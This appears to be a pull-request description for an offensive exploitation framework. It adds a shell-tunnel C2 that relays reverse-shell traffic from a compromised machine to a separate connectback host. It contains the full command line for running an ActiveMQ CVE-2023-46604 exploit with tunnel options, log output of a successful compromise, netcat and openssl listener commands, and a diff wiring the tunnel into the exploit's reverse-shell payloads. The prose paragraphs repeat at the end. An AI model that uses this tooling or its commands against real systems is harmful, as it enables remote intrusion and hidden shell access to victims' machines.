This was born while talking to the team about exploitation scenarios and documenting them. What I've done here isn't exactly what the team was talking about but I think useful. Here are the docs I wrote in shelltunnel.go.
// shelltunnel is a dumb C2 that shuttles shell traffic between a reverse shell origin and
// a connectback server. It essentially allows for this setup:
//
// | Box 1 | | Box 2 | | Box 3 |
// | nc -l | <- shell traffic -> | shell tunnel | <- shell traffic -> | shell origin |
//
// In this way, go-exploit on box 2 can act as an egress for box on victim network. The shelltunnel
// will just shuffle data between the two boxes. This is appealing over something like a socks5
// proxy or more advanced tunneling because it simply works and requires, for the exploit dev,
// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever).
//
// Usage example using an unencrypted reverse shell:
//
// albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12
// time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270"
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270"
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ"
// time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting...
// time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit"
// time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload"
// time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload"
// time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440"
// time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!"
// time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
//
// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener
// at 10.9.49.12:1270. The shell there looks like this:
//
// parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270
// Listening on 0.0.0.0 1270
// Connection received on 10.9.49.192 51478
// pwd
// /opt/apache-activemq-5.15.2
//
// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so:
//
// ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen
//
// And the reverse shell can now be caught by openssl:
//
// parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270
// pwd
// /opt/apache-activemq-5.15.2
In the docs, you can see I tested with ActiveMQ. Here is the ActiveMQ diff:
+++ b/feed/cve-2023-46604/cve-2023-46604.go
@@ -130,9 +130,13 @@ func generatePayload(conf *config.Config) (string, bool) {
generated := ""
switch conf.C2Type {
+ case c2.ShellTunnel:
+ fallthrough
case c2.SSLShellServer:
output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = reverse.JJS.Default(conf.Lhost, conf.Lport, true)
+ case c2.ShellTunnel:
+ fallthrough
case c2.SimpleShellServer:
output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = reverse.JJS.Default(conf.Lhost, conf.Lport, false)
@@ -218,6 +222,7 @@ func main() {
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
+ c2.ShellTunnel,
c2.HTTPServeFile,
}
conf := config.NewRemoteExploit(
So, in my mind, this is essentially "for free". We just piggy-back on the existing payloads.
Edit: I also got really annoyed at lll linter and got rid of it.
This was born while talking to the team about exploitation scenarios and documenting them. What I've done here isn't exactly what the team was talking about but I think useful. Here are the docs I wrote in shelltunnel.go.
In the docs, you can see I tested with ActiveMQ. Here is the ActiveMQ diff:
So, in my mind, this is essentially "for free". We just piggy-back on the existing payloads.
Edit: I also got really annoyed at lll linter and got rid of it.